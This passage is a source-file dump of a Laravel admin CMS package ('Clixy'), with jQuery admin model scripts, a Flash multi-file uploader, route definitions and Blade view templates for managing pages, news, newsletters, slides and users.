$.post(gate + controller + "/activate", {a: "activate", m: "page", id: id}, function (o) { list(); }, "json"); }; var deactivate = function (id) { if (typeof id === "undefined" || id < 0) return; $.post(gate, {a: "deactivate", m: "page", id: id}, function (o) { list(); }, "json"); }; var add = function (o) { // cleanTinyMCE(); // $(".s_module_settings_buttons").hide(); $.post(gate + controller + '/create', {a: "create", m: "slide", _token: token}, function (data) { token = data.token; edit(data.id); }, "json"); }; var attachDefaultAction = function () { $('#page_reload').css('cursor', 'pointer').click(function () { list(this.key); }); }; /** * init language model, get index list, get list and attach actions * @return void */ list(); $("a[data-action='create']").on("click", add); } var navigation_obj = new NavigationModel(); ================================================ FILE: src/public/assets/admin/js/model/news.js ================================================ function NewsModel() { var handle = this; var self = this; var token = Conf.token; var id; var lang = { validation: { required: "Required" }, msg: { confirm: "Are you sure?" } }; var controller = "news"; this.speed = 500; this.current_item = ''; this.edit_hold = $('#' + controller + '_edit_hold'); this.page = 0; var busy = false; var gate = Conf.gate; var mode = 'slide';//page,banner // public state handler var log = function (msg, s) { alert(msg); // state_obj.log(controller + "_out", msg, s); }; var tooltip = function (state) { $('#page_tooltip').css('display', state ? 'block' : 'none'); }; var list = function () { $.post(gate + controller + '/list', {_token: token}, function (data) { token = data.token; $('#' + controller + '-list').empty().html(data.content); $('#' + controller + '-pagination').empty().html(data.pagination); $('#' + controller + '-list a[data-action=edit]').on('click', edit); $('#' + controller + '-list a[data-action=remove]').on('click', remove); /* $("#slide-list .main_drag_container").unbind('click').sortable({ items: '.main_drag', handle: '.s_button_move', axis: 'y', forcePlaceholderSize: true, stop: function (event, ui) { list = $(this).sortable('toArray'); $.post(gate, {m: "slide", a: "ord", list: list.join(',').replace(/slide_item_/gi, '')}, function (o) { if (o.state) { // log(o.msg, 2); } }, "json"); } });*/ }, "json"); }; var cancel = function (e) { $("#" + controller + "-wrap").empty(); list(); }; var edit = function (e) { var id = Number(e.type === "click" ? $(this).attr('data-id') : e); $.post(gate + controller + '/get', {id: id, _token: token}, function (data) { $("#" + controller + "-wrap").html(data.content).foundation(); CKEDITOR.replaceAll('ckeditor'); // tinyMCE_obj.add(controller, 6, id); // Tabs.init('normal'); $("#" + controller + "-edit-form").on('submit', save); $("#" + controller + "-edit-form button[data-action=cancel]").on('click', cancel); }, "json"); $("#" + controller + "-menu-wrap").hide(); }; /** * * @param {type} e * @returns {undefined} */ var save = function (e) { e.preventDefault(); updateCKEditor(); var obj = {_token: token}; var o = $(this).serializeArray(); for (var i in o) { obj[o[i].name] = o[i].value; } $.post(gate + controller + "/save", obj, list, "json"); }; var remove = function (e) { id = Number(e.type === "click" ? $(this).attr('data-id') : e); if (confirm(lang.msg.confirm)) { $.post(gate + controller + "/remove", {id: id, _token: token}, function (data) { token = data.token; if (data.state) { log(data.msg, 2); list(); } }, "json"); } }; var activate = function (id) { $.post(gate + controller + "/activate", {id: id}, function (o) { list(); }, "json"); }; var deactivate = function (id) { if (typeof id === "undefined" || id < 0) return; $.post(gate, {id: id}, function (o) { list(); }, "json"); }; var add = function (o) { // cleanTinyMCE(); // $(".s_module_settings_buttons").hide(); $.post(gate + controller + '/create', {_token: token}, function (data) { token = data.token; edit(data.id); }, "json"); }; var attachDefaultAction = function () { $('#page_reload').css('cursor', 'pointer').click(function () { list(this.key); }); }; /** * init language model, get index list, get list and attach actions * @return void */ list(); //live $("#" + controller + "list").on("click", list); $("a[data-action='create']").on("click", add); $('#slide_add_cancel').on("click", function () { cleanTinyMCE(); $("#slide-list").empty(); list(); } ); $('#slide_edit_cancel, #slide_close').on("click", function () { cleanTinyMCE(); $("#slide_wrap").empty(); list(); $("#slide-menu-wrap").show(); }); $("#slide_list .s_button_edit").on("click", edit); } var news_obj = new NewsModel(); ================================================ FILE: src/public/assets/admin/js/model/newsletter.js ================================================ function NewsletterModel() { var token = Conf.token; var id; var lang = { validation: { required: "Required" }, msg: { confirm: "Are you sure?" } }; var controller = "newsletter"; this.speed = 500; this.current_item = ''; this.edit_hold = $('#' + controller + '_edit_hold'); this.page = 0; var gate = Conf.gate; // public state handler var log = function (msg, s) { // alert(msg); // state_obj.log(controller + "_out", msg, s); }; var tooltip = function (state) { $('#page_tooltip').css('display', state ? 'block' : 'none'); }; var list = function () { $.post(gate + controller + '/list', {_token: token}, function (data) { token = data.token; $('#' + controller + '-list').empty().html(data.content); $('#' + controller + '-pagination').empty().html(data.pagination); $('#' + controller + '-list a[data-action=edit]').on('click', edit); $('#' + controller + '-list a[data-action=remove]').on('click', remove); /* $("#slide-list .main_drag_container").unbind('click').sortable({ items: '.main_drag', handle: '.s_button_move', axis: 'y', forcePlaceholderSize: true, stop: function (event, ui) { list = $(this).sortable('toArray'); $.post(gate, {m: "slide", a: "ord", list: list.join(',').replace(/slide_item_/gi, '')}, function (o) { if (o.state) { // log(o.msg, 2); } }, "json"); } });*/ }, "json"); }; var cancel = function (e) { $("#" + controller + "-wrap").empty(); list(); }; var edit = function (e) { var id = Number(e.type === "click" ? $(this).attr('data-id') : e); $.post(gate + controller + '/get', {id: id, _token: token}, function (data) { $("#" + controller + "-wrap").html(data.content).foundation(); $("#" + controller + "-edit-form").on('submit', save); $("#" + controller + "-edit-form button[data-action=cancel]").on('click', cancel); CKEDITOR.replaceAll('ckeditor'); }, "json"); $("#" + controller + "-menu-wrap").hide(); }; /** * * @param {type} e * @returns {undefined} */ var save = function (e) { e.preventDefault(); updateCKEditor(); var obj = {_token: token}; var o = $(this).serializeArray(); for (var i in o) { obj[o[i].name] = o[i].value; } $.post(gate + controller + "/save", obj, function () { list(); }, "json"); }; var remove = function (e) { id = Number(e.type === "click" ? $(this).attr('data-id') : e); if (confirm(lang.msg.confirm)) { $.post(gate + controller + "/remove", {id: id, _token: token}, function (data) { token = data.token; if (data.state) { // log(data.msg, 2); list(); } }, "json"); } }; var activate = function (id) { $.post(gate + controller + "/activate", {id: id}, function (o) { list(); }, "json"); }; var deactivate = function (id) { if (typeof id === "undefined" || id < 0) return; $.post(gate, {id: id}, function (o) { list(); }, "json"); }; var add = function (o) { $.post(gate + controller + '/create', {_token: token}, function (data) { token = data.token; edit(data.id); }, "json"); }; var attachDefaultAction = function () { $('#page_reload').css('cursor', 'pointer').click(function () { list(this.key); }); }; $("#" + controller + "list").on("click", list); $("a[data-action='create']").on("click", add); list(); } var newsletter_obj = new NewsletterModel(); ================================================ FILE: src/public/assets/admin/js/model/page.js ================================================ function PageModel() { var handle = this; var self = this; var token = Conf.token; var id; var lang = { validation: { required: "Required" }, msg: { confirm: "Are you sure?" } }; var controller = "page"; this.speed = 500; this.current_item = ''; this.edit_hold = $('#' + controller + '_edit_hold'); this.page = 0; var busy = false; var gate = Conf.gate; var mode = 'slide';//page,banner // public state handler var log = function (msg, s) { alert(msg); // state_obj.log(controller + "_out", msg, s); }; var tooltip = function (state) { $('#page_tooltip').css('display', state ? 'block' : 'none'); }; var list = function () { $.post(gate + controller + '/list', {_token: token}, function (data) { token = data.token; $('#' + controller + '-list').empty().html(data.content); $('#' + controller + '-pagination').empty().html(data.pagination); $('#' + controller + '-list a[data-action=edit]').on('click', edit); $('#' + controller + '-list a[data-action=remove]').on('click', remove); /* $("#slide-list .main_drag_container").unbind('click').sortable({ items: '.main_drag', handle: '.s_button_move', axis: 'y', forcePlaceholderSize: true, stop: function (event, ui) { list = $(this).sortable('toArray'); $.post(gate, {m: "slide", a: "ord", list: list.join(',').replace(/slide_item_/gi, '')}, function (o) { if (o.state) { // log(o.msg, 2); } }, "json"); } });*/ }, "json"); }; var cancel = function (e) { $("#" + controller + "-wrap").empty(); list(); }; var edit = function (e) { var id = Number(e.type === "click" ? $(this).attr('data-id') : e); $.post(gate + controller + '/get', {id: id, _token: token}, function (data) { $("#" + controller + "-wrap").html(data.content).foundation(); CKEDITOR.replaceAll('ckeditor'); // tinyMCE_obj.add(controller, 6, id); // Tabs.init('normal'); $("#" + controller + "-edit-form").on('submit', save); $("#" + controller + "-edit-form button[data-action=cancel]").on('click', cancel); }, "json"); $("#" + controller + "-menu-wrap").hide(); }; /** * * @param {type} e * @returns {undefined} */ var save = function (e) { e.preventDefault(); updateCKEditor(); var obj = {_token: token}; var o = $(this).serializeArray(); for (var i in o) { obj[o[i].name] = o[i].value; } $.post(gate + controller + "/save", obj, list, "json"); }; var remove = function (e) { id = Number(e.type === "click" ? $(this).attr('data-id') : e); if (confirm(lang.msg.confirm)) { $.post(gate + controller + "/remove", {id: id, _token: token}, function (data) { token = data.token; if (data.state) { log(data.msg, 2); list(); } }, "json"); } }; var activate = function (id) { $.post(gate + controller + "/activate", {id: id}, function (o) { list(); }, "json"); }; var deactivate = function (id) { if (typeof id === "undefined" || id < 0) return; $.post(gate, {id: id}, function (o) { list(); }, "json"); }; var add = function (o) { // cleanTinyMCE(); // $(".s_module_settings_buttons").hide(); $.post(gate + controller + '/create', {_token: token}, function (data) { token = data.token; edit(data.id); }, "json"); }; var attachDefaultAction = function () { $('#page_reload').css('cursor', 'pointer').click(function () { list(this.key); }); }; /** * init language model, get index list, get list and attach actions * @return void */ list(); //live $("#" + controller + "list").on("click", list); $("a[data-action='create']").on("click", add); $('#slide_add_cancel').on("click", function () { cleanTinyMCE(); $("#slide-list").empty(); list(); } ); $('#slide_edit_cancel, #slide_close').on("click", function () { cleanTinyMCE(); $("#slide_wrap").empty(); list(); $("#slide-menu-wrap").show(); }); $("#slide_list .s_button_edit").on("click", edit); } var page_obj = new PageModel(); ================================================ FILE: src/public/assets/admin/js/model/slide.js ================================================ function SlideModel() { var token = Conf.token; var id; var lang = { validation: { required: "Required" }, msg: { confirm: "Are you sure?" } }; var controller = "slide"; var gate = Conf.gate; this.speed = 500; this.current_item = ''; this.edit_hold = $('#' + controller + '_edit_hold'); this.page = 0; var id = 0; // public state handler var log = function (msg, s) { alert(msg); // state_obj.log(controller + "_out", msg, s); }; var tooltip = function (state) { $('#page_tooltip').css('display', state ? 'block' : 'none'); }; var list = function () { $.post(gate + controller + '/list', {a: "list", m: "slide", _token: token}, function (data) { token = data.token; $('#' + controller + '-list').empty().html(data.content); $('#' + controller + '-pagination').empty().html(data.pagination); $('#' + controller + '-list a[data-action=edit]').on('click', edit); $('#' + controller + '-list a[data-action=remove]').on('click', remove); /* $("#slide-list .main_drag_container").unbind('click').sortable({ items: '.main_drag', handle: '.s_button_move', axis: 'y', forcePlaceholderSize: true, stop: function (event, ui) { list = $(this).sortable('toArray'); $.post(gate, {m: "slide", a: "ord", list: list.join(',').replace(/slide_item_/gi, '')}, function (o) { if (o.state) { // log(o.msg, 2); } }, "json"); } });*/ }, "json"); }; var cancel = function (e) { $("#" + controller + "-wrap").empty(); list(); }; var edit = function (e) { var id = Number(e.type === "click" ? $(this).attr('data-id') : e); $.post(gate + controller + '/get', {id: id, a: "get", m: "slide", _token: token}, function (data) { $("#" + controller + "-wrap").html(data.content).foundation(); // Tabs.init('normal'); $("#" + controller + "-edit-form").on('submit', save); $("#" + controller + "-edit-form button[data-action=cancel]").on('click', cancel); CKEDITOR.replaceAll('ckeditor'); }, "json"); $("#" + controller + "-menu-wrap").hide(); }; /** * * @param {type} e * @returns {undefined} */ var save = function (e) { e.preventDefault(); updateCKEditor(); var obj = {_token: token}; var o = $(this).serializeArray(); for (var i in o) { obj[o[i].name] = o[i].value; } $.post(gate + controller + "/save", obj, function () { list(); }, "json"); }; var remove = function (e) { id = Number(e.type === "click" ? $(this).attr('data-id') : e); if (confirm(lang.msg.confirm)) { $.post(gate + controller + "/remove", {id: id, a: "remove", m: "slide", _token: token}, function (data) { token = data.token; if (data.state) { log(data.msg, 2); list(); } }, "json"); } }; var activate = function (id) { $.post(gate + controller + "/activate", {a: "activate", m: "page", id: id}, function (o) { list(); }, "json"); }; var deactivate = function (id) { if (typeof id === "undefined" || id < 0) return; $.post(gate, {a: "deactivate", m: "page", id: id}, function (o) { list(); }, "json"); }; var add = function (o) { // cleanTinyMCE(); // $(".s_module_settings_buttons").hide(); $.post(gate + 'slide/create', {a: "create", m: "slide", _token: token}, function (data) { token = data.token; edit(data.id); }, "json"); }; var attachDefaultAction = function () { $('#page_reload').css('cursor', 'pointer').click(function () { list(this.key); }); }; /** * init language model, get index list, get list and attach actions * @return void */ list(); //live $("#slidelist").on("click", list); $("a[data-action='create']").on("click", add); $('#slide_add_cancel').on("click", function () { cleanTinyMCE(); $("#slide-list").empty(); list(); } ); $('#slide_edit_cancel, #slide_close').on("click", function () { cleanTinyMCE(); $("#slide_wrap").empty(); list(); $("#slide-menu-wrap").show(); }); $("#slide_list .s_button_edit").on("click", edit); } var slide_obj = new SlideModel(); ================================================ FILE: src/public/assets/admin/js/model/user.js ================================================ function UserModel() { var handle = this; var self = this; var token = Conf.token; var id; var lang = { validation: { required: "Required" }, msg: { confirm: "Are you sure?" } }; var controller = "user"; this.speed = 500; this.current_item = ''; this.edit_hold = $('#' + controller + '_edit_hold'); this.page = 0; var id = 0; var busy = false; var gate = Conf.gate; var mode = 'slide';//page,banner // public state handler var log = function (msg, s) { alert(msg); // state_obj.log(controller + "_out", msg, s); }; var tooltip = function (state) { $('#page_tooltip').css('display', state ? 'block' : 'none'); }; var list = function () { $.post(gate + controller + '/list', {_token: token}, function (data) { token = data.token; $('#' + controller + '-list').empty().html(data.content); $('#' + controller + '-pagination').empty().html(data.pagination); $('#' + controller + '-list a[data-action=edit]').on('click', edit); $('#' + controller + '-list a[data-action=remove]').on('click', remove); /* $("#slide-list .main_drag_container").unbind('click').sortable({ items: '.main_drag', handle: '.s_button_move', axis: 'y', forcePlaceholderSize: true, stop: function (event, ui) { list = $(this).sortable('toArray'); $.post(gate, {m: "slide", a: "ord", list: list.join(',').replace(/slide_item_/gi, '')}, function (o) { if (o.state) { // log(o.msg, 2); } }, "json"); } });*/ }, "json"); }; var cancel = function (e) { $("#" + controller + "-wrap").empty(); list(); }; var edit = function (e) { var id = Number(e.type === "click" ? $(this).attr('data-id') : e); $.post(gate + controller + '/get', {id: id, _token: token}, function (data) { $("#" + controller + "-wrap").html(data.content).foundation(); $("#" + controller + "-edit-form").on('submit', save); $("#" + controller + "-edit-form button[data-action=cancel]").on('click', cancel); }, "json"); $("#" + controller + "-menu-wrap").hide(); }; /** * * @param {type} e * @returns {undefined} */ var save = function (e) { e.preventDefault(); var obj = {_token: token}; var o = $(this).serializeArray(); for (var i in o) { obj[o[i].name] = o[i].value; } $.post(gate + controller + "/save", obj, function () { list(); }, "json"); }; var remove = function (e) { id = Number(e.type === "click" ? $(this).attr('data-id') : e); if (confirm(lang.msg.confirm)) { $.post(gate + controller + "/remove", {id: id, _token: token}, function (data) { token = data.token; if (data.state) { log(data.msg, 2); list(); } }, "json"); } }; var activate = function (id) { $.post(gate + controller + "/activate", {id: id}, function (o) { list(); }, "json"); }; var deactivate = function (id) { if (typeof id === "undefined" || id < 0) return; $.post(gate, {a: "deactivate", m: "page", id: id}, function (o) { list(); }, "json"); }; var add = function (o) { $.post(gate + controller + '/create', {_token: token}, function (data) { token = data.token; edit(data.id); }, "json"); }; var attachDefaultAction = function () { $('#page_reload').css('cursor', 'pointer').click(function () { list(this.key); }); }; /** * init language model, get index list, get list and attach actions * @return void */ list(); //live $("#" + controller + "list").on("click", list); $("a[data-action='create']").on("click", add); $('#slide_add_cancel').on("click", function () { cleanTinyMCE(); $("#slide-list").empty(); list(); } ); $('#slide_edit_cancel, #slide_close').on("click", function () { cleanTinyMCE(); $("#slide_wrap").empty(); list(); $("#slide-menu-wrap").show(); }); $("#slide_list .s_button_edit").on("click", edit); } var user_obj = new UserModel(); ================================================ FILE: src/public/assets/admin/js/state.js ================================================ // state model function StateModel() { var self = this; var id = '', _log_; this.log = function (_id, msg, type) { var html; id = _id; if (typeof type !== "undefined") { html = "
"; html += "
"; html += ""; html += ""; html += "

" + msg + "

"; html += ""; html += "
"; html += "
"; $("#" + id).html(html); } else { $("#" + id).addClass("ui-state-highlight").html(msg); } if (typeof _log_ !== "undefined") { clearInterval(_log_); } _log_ = setTimeout(reset_log, 5000); }; var reset_log = function () { $("#" + id).removeClass("ui-state-highlight").empty(); }; } var state_obj = new StateModel(); ================================================ FILE: src/public/assets/admin/swf/ixUploader.as ================================================ package { import flash.display.Sprite; import flash.display.StageAlign; import flash.display.StageScaleMode; import flash.events.DataEvent; import flash.events.ErrorEvent; import flash.events.Event; import flash.events.HTTPStatusEvent; import flash.events.IOErrorEvent; import flash.events.MouseEvent; import flash.events.ProgressEvent; import flash.events.SecurityErrorEvent; import flash.external.ExternalInterface; import flash.net.FileFilter; import flash.net.FileReference; import flash.net.FileReferenceList; import flash.net.URLRequest; import flash.net.URLRequestMethod; import flash.net.URLVariables; import flash.net.URLRequestHeader; public class ixUploader extends Sprite { private static var DEBUG:Boolean; private var mUploadUrl:String = 'http://cms.rakhiva.com/media/upload'; private var mCsrfToken:String = ''; private var mOnEvent:String; private var mHit:Sprite; private var fr:FileReferenceList; private var mCurrentIndex:int; private var mTotalBytes:uint; private var mUploadedBytes:uint; public function ixUploader() { DEBUG = loaderInfo.parameters['debug'] || true; stage.scaleMode = StageScaleMode.NO_SCALE; stage.align = StageAlign.TOP_LEFT; mHit = new Sprite(); redraw(); addChild(mHit); mUploadUrl = loaderInfo.parameters['uploadUrl'] || 'http://cms.rakhiva.com/media/upload'; mOnEvent = loaderInfo.parameters['onEvent']; mHit.addEventListener(MouseEvent.MOUSE_DOWN, doBrowse); stage.addEventListener(Event.RESIZE, onStageResize); fr = new FileReferenceList(); fr.addEventListener(Event.CANCEL, onCancel); fr.addEventListener(Event.SELECT, onFilesSelected); //_progress = new TextField(); //_progress.x = 10; //_progress.y = 10; //addChild(_progress); dispatch({type: 'flashReady'}); } private function onStageResize(e:Event):void { dispatch({type: 'debug', data: 'onStageResize(): ' + stage.stageWidth + ',' + stage.stageHeight}); redraw(); } private function redraw():void { var ww:Number = stage.stageWidth; var hh:Number = stage.stageHeight; mHit.graphics.clear(); mHit.graphics.beginFill(0xffffff, .01); mHit.graphics.drawRect(0, 0, ww, hh); mHit.graphics.endFill(); if (DEBUG && 0) { mHit.graphics.lineStyle(2, 0xff00); mHit.graphics.drawRect(1, 1, ww - 2, hh - 2); mHit.graphics.moveTo(1, 1); mHit.graphics.lineTo(ww - 2, hh - 2); mHit.graphics.moveTo(ww - 2, 1); mHit.graphics.lineTo(1, hh - 2); } } private function doBrowse(e:MouseEvent):void { dispatch({type: 'debug', data: 'browse()'}); fr.browse(); } private function onFilesSelected(e:Event):void { var flist:Array = []; var f:FileReference; mTotalBytes = mUploadedBytes = 0; dispatch({type: 'debug', data: 'onFilesSelected(): ' + fr.fileList.length + ' files here'}); for(var i:int = 0; i < fr.fileList.length; ++i) { f = fr.fileList[i] as FileReference; dispatch({type: 'debug', data: 'file[' + i + ']: ' + f.name + ' (' + f.size + ' b)'}); flist.push({ name: f.name, size: f.size }); mTotalBytes += f.size; } var ok:Boolean = dispatch({ type: 'uploadSelect', files: flist }); trace('ok ' + (ok ? 'y' : 'n')); if(!ok) return; mCurrentIndex = -1; doUploadNext(); } private function doUploadNext():void { ++mCurrentIndex; if(mCurrentIndex == fr.fileList.length) { return; } uploadCurrent(); } private function dispatch(o:Object):Object { trace(o.type + ' ' + o.data); ExternalInterface.call(mOnEvent, o); return true; } private function onCancel(e:Event):void { dispatch({type: 'debug', data: 'onCancel()'}); dispatch({ type: 'uploadCancel' }); } private function addFileListeners(fr:FileReference):void { fr.addEventListener(HTTPStatusEvent.HTTP_STATUS, onHttpStatus); fr.addEventListener(IOErrorEvent.IO_ERROR, onError); fr.addEventListener(SecurityErrorEvent.SECURITY_ERROR, onError); fr.addEventListener(ProgressEvent.PROGRESS, onProgress); fr.addEventListener(Event.COMPLETE, onUploadComplete); fr.addEventListener(DataEvent.UPLOAD_COMPLETE_DATA, onUploadResponse); } private function removeFileListeners(fr:FileReference):void { fr.removeEventListener(HTTPStatusEvent.HTTP_STATUS, onHttpStatus); fr.removeEventListener(IOErrorEvent.IO_ERROR, onError); fr.removeEventListener(SecurityErrorEvent.SECURITY_ERROR, onError); fr.removeEventListener(ProgressEvent.PROGRESS, onProgress); fr.removeEventListener(Event.COMPLETE, onUploadComplete); fr.removeEventListener(DataEvent.UPLOAD_COMPLETE_DATA, onUploadResponse); } private function uploadCurrent():void { var f:FileReference = fr.fileList[mCurrentIndex] as FileReference; if(f == null) { dispatch({ type: 'debug', data: 'uploadCurrent(): No such file index=' + mCurrentIndex }); return; } var ok:Boolean = dispatch({ type: 'uploadStart', index: mCurrentIndex, name: f.name, size: f.size }); if(ok) { addFileListeners(f); dispatch({type: 'debug', data: 'upload(' + f.name + ') @ ' + mUploadUrl + ' as "file"'}); var req:URLRequest = new URLRequest(mUploadUrl); var vars:URLVariables = new URLVariables(); vars.item_id = loaderInfo.parameters['item_id'] || 1; vars.cat_id = loaderInfo.parameters['cat_id'] || 1; var header:URLRequestHeader = new URLRequestHeader("Content-type", "application/octet-stream"); var csrf:URLRequestHeader = new URLRequestHeader("X-CSRF-Token", mCsrfToken); req.requestHeaders.push(header); req.requestHeaders.push(csrf); req.method = URLRequestMethod.POST; req.data = vars; f.upload(req, 'file'); } else { doUploadNext(); } } private function onProgress(e:ProgressEvent):void { var f:FileReference = e.currentTarget as FileReference; dispatch({type: 'debug', data: 'onProgress(): ' + f.name}); dispatch({ type: 'uploadProgress', index: mCurrentIndex, bytesTotal: e.bytesTotal, bytesUploaded: e.bytesLoaded, totalBytes: mTotalBytes, totalUploaded: mUploadedBytes + e.bytesLoaded }); } private function onUploadComplete(e:Event):void { var f:FileReference = e.currentTarget as FileReference; dispatch({type: 'debug', data: 'onUploadComplete(): ' + f.name}); dispatch({ type: 'uploadComplete', index: mCurrentIndex }); mUploadedBytes += f.size; } private function onUploadResponse(e:DataEvent):void { dispatch({ type: 'uploadResponse', index: mCurrentIndex, data: e.data }); var f:FileReference = fr.fileList[mCurrentIndex] as FileReference; dispatch({type: 'debug', data: 'onUploadResponse(' + f.name + '): ' + e.data}); removeFileListeners(f); doUploadNext(); } private function onHttpStatus(e:HTTPStatusEvent):void { var f:FileReference = fr.fileList[mCurrentIndex] as FileReference; dispatch({type: 'debug', data: 'onHttpStatus(' + f.name + '): ' + e.status}); dispatch({ type: 'uploadHTTPStatus', index: mCurrentIndex, data: e.status }); } private function onError(e:ErrorEvent):void { var f:FileReference = fr.fileList[mCurrentIndex] as FileReference; dispatch({type: 'debug', data: 'onError(' + f.name + '): ' + e.toString()}); dispatch({ type: 'uploadComplete', index: mCurrentIndex, data: e.toString() }); removeFileListeners(f); doUploadNext(); } } } ================================================ FILE: src/routes.php ================================================ config('clixy.admin.prefix'), 'middleware' => ['admin']], function () { $c = '\Clixy\Admin\Controllers\Auth\AuthController'; Route::get('login', $c . '@getLogin'); Route::post('login', $c . '@postLogin'); Route::get('logout', $c . '@logout'); Route::group(['middleware' => array('auth.admin')], function() { $c = '\Clixy\Admin\Controllers\HomeController'; Route::get('/', $c . '@index'); // user Route::group(['prefix' => 'user'], function () { $c = '\Clixy\Admin\Controllers\UserController'; Route::get('/', $c . '@index'); Route::post('list', $c . '@postList'); Route::post('get', $c . '@postGet'); Route::post('create', $c . '@postCreate'); Route::post('remove', $c . '@postRemove'); Route::post('save', $c . '@postSave'); }); // conf Route::group(['prefix' => 'conf'], function () { $c = '\Clixy\Admin\Controllers\ConfController'; Route::get('/', $c . '@index'); Route::post('list', $c . '@postList'); Route::post('get', $c . '@postGet'); Route::post('create', $c . '@postCreate'); Route::post('remove', $c . '@postRemove'); Route::post('save', $c . '@postSave'); }); // page Route::group(['prefix' => 'page'], function () { $c = '\Clixy\Admin\Controllers\PageController'; Route::get('/', $c . '@index'); Route::post('page/list', $c . '@postList'); Route::post('page/get', $c . '@postGet'); Route::post('page/create', $c . '@postCreate'); Route::post('page/remove', $c . '@postRemove'); Route::post('page/save', $c . '@postSave'); }); // navidation Route::group(['prefix' => 'navigation'], function () { $c = '\Clixy\Admin\Controllers\NavigationController'; Route::get('/', $c . '@index'); Route::post('list', $c . '@postList'); Route::post('get', $c . '@postGet'); Route::post('create', $c . '@postCreate'); Route::post('remove', $c . '@postRemove'); Route::post('save', $c . '@postSave'); }); // category Route::group(['prefix' => 'category'], function () { $c = '\Clixy\Admin\Controllers\CategoryController'; Route::get('/', $c . '@index'); Route::post('list', $c . '@postList'); Route::post('get', $c . '@postGet'); Route::post('create', $c . '@postCreate'); Route::post('remove', $c . '@postRemove'); Route::post('save', $c . '@postSave'); }); // item Route::group(['prefix' => 'item'], function () { $c = '\Clixy\Admin\Controllers\ItemController'; Route::get('/', $c . '@index'); Route::post('list', $c . '@postList'); Route::post('get', $c . '@postGet'); Route::post('create', $c . '@postCreate'); Route::post('remove', $c . '@postRemove'); Route::post('save', $c . '@postSave'); Route::post('date/list', $c . '@postDateList'); Route::post('date/remove', $c . '@postDateRemove'); Route::post('date/create', $c . '@postDateCreate'); }); // media Route::group(['prefix' => 'media'], function () { $c = '\Clixy\Admin\Controllers\MediaController'; Route::post('upload', $c . '@postUpload'); Route::post('remove', $c . '@postRemove'); Route::post('getMediaPagination', $c . '@postGetMediaPagination'); Route::post('getMediaDetailList', $c . '@postGetMediaDetailList'); }); // news Route::group(['prefix' => 'news'], function () { $c = '\Clixy\Admin\Controllers\NewsController'; Route::get('/', $c . '@index'); Route::post('list', $c . '@postList'); Route::post('get', $c . '@postGet'); Route::post('create', $c . '@postCreate'); Route::post('remove', $c . '@postRemove'); Route::post('save', $c . '@postSave'); }); /* //color Route::get('color', '\Clixy\Admin\Controllers\ColorController@index'); Route::post('color/list', '\Clixy\Admin\Controllers\ColorController@postList'); Route::post('color/get', '\Clixy\Admin\Controllers\ColorController@postGet'); Route::post('color/create', '\Clixy\Admin\Controllers\ColorController@postCreate'); Route::post('color/remove', '\Clixy\Admin\Controllers\ColorController@postRemove'); Route::post('color/save', '\Clixy\Admin\Controllers\ColorController@postSave'); */ // slide Route::group(['prefix' => 'slide'], function () { $c = '\Clixy\Admin\Controllers\SliderController'; Route::get('/', $c . '@index'); Route::post('list', $c . '@postList'); Route::post('get', $c . '@postGet'); Route::post('create', $c . '@postCreate'); Route::post('remove', $c . '@postRemove'); Route::post('save', $c . '@postSave'); }); // newsletter Route::group(['prefix' => 'newsletter'], function () { $c = '\Clixy\Admin\Controllers\NewsletterController'; Route::get('/', $c . '@index'); Route::post('list', $c . '@postList'); Route::post('get', $c . '@postGet'); Route::post('create', $c . '@postCreate'); Route::post('remove', $c . '@postRemove'); Route::post('save', $c . '@postSave'); }); // newslettersubscribers Route::group(['prefix' => 'newslettersubscribers'], function () { $c = '\Clixy\Admin\Controllers\NewsletterSubscribersController'; Route::get('/', $c . '@index'); Route::post('list', $c . '@postList'); Route::post('get', $c . '@postGet'); Route::post('create', $c . '@postCreate'); Route::post('remove', $c . '@postRemove'); Route::post('save', $c . '@postSave'); }); }); }); ================================================ FILE: src/views/auth/login.blade.php ================================================ @extends('clixy/admin::layouts.default') @section('content')

@lang('clixy/admin::auth.loginTitle')

{!! Form::open(['url' => "{$prefix}/login", 'method' => 'post']) !!}
{!! Form::email('email', old('email'), [ 'placeholder' => Lang::trans('clixy/admin::auth.email') ]) !!}
{!! Form::password('password', [ 'id' => 'password', 'placeholder' => Lang::trans('clixy/admin::auth.password') ]); !!}
{!! Form::button(Lang::trans('clixy/admin::common.btn.login'), [ 'type' => 'submit', 'class' => 'button tiny success radius' ]) !!}
{!! Form::close() !!}
@endsection ================================================ FILE: src/views/category/category.blade.php ================================================ @extends('clixy/admin::layouts.default') @section('content')
@endsection ================================================ FILE: src/views/category/categoryform.blade.php ================================================

{{ $lang_data[1]->title }} / {{ $data->id }}

    @foreach ($lang_list as $v) @endforeach
@foreach ($lang_list as $v)
@endforeach

Медия

Главна снимка 245 x 196 px
Малки под нея, 2 бр., 121 x 99 px

@include('clixy/admin::multimedia.media', ['cat_id' => 4, 'item_id' => $data->id])
================================================ FILE: src/views/category/categorylist.blade.php ================================================ @foreach($list as $v) @if($v->parent_id == 0) @foreach($list as $vv) @if($vv->parent_id == $v->id) @endif @endforeach @endif @endforeach ================================================ FILE: src/views/color/color.blade.php ================================================ @extends('clixy/admin::layouts.default') @section('content')
@endsection ================================================ FILE: src/views/color/colorform.blade.php ================================================

{{ $data->id }}

@foreach ($lang_list as $k => $v)
@if(0)
@endif
@endforeach

Медия

Главна снимка 245 x 196 px

Малки под нея, 2 бр., 121 x 99 px

@include('clixy/admin::multimedia.media', ['cat_id' => 3, 'item_id' => $data->id]);
================================================ FILE: src/views/color/colorlist.blade.php ================================================ @foreach ($list as $v) @endforeach ================================================ FILE: src/views/common/ajaxpagination.blade.php ================================================ @if($pages > 1)
    @if($page > 1)
  • «
  • @endif {math assign="i_loop" equation="min($pages, $page+3+max(0,5-$page))"} {math assign="i_start" equation="max($page-3-max(0, 3+$page-$pages), 1)"} {section loop=$i_loop+1 start=$i_start name=p}
  • {if $smarty.section.p.index ne $page} {$smarty.section.p.index} {else} {$page} {/if}
  • {/section} @if($page < $pages)
  • »
  • @endif
@endif ================================================ FILE: src/views/common/gallery/button.blade.php ================================================ {{ $action }} ================================================ FILE: src/views/common/gallery/list.blade.php ================================================
@foreach($items as $k => $v) @include('clixy/admin::common.gallery.button', ['action' => $v, 'obj' => $obj, 'id' => $id]) @endforeach
================================================ FILE: src/views/conf/conf.blade.php ================================================ @extends('clixy/admin::layouts.default') @section('content')
@endsection ================================================ FILE: src/views/conf/confform.blade.php ================================================

Настройка / {{ $data->id }}

================================================ FILE: src/views/conf/conflist.blade.php ================================================ @foreach ($list as $v) @endforeach ================================================ FILE: src/views/errors/503.blade.php ================================================ Be right back.
Be right back.
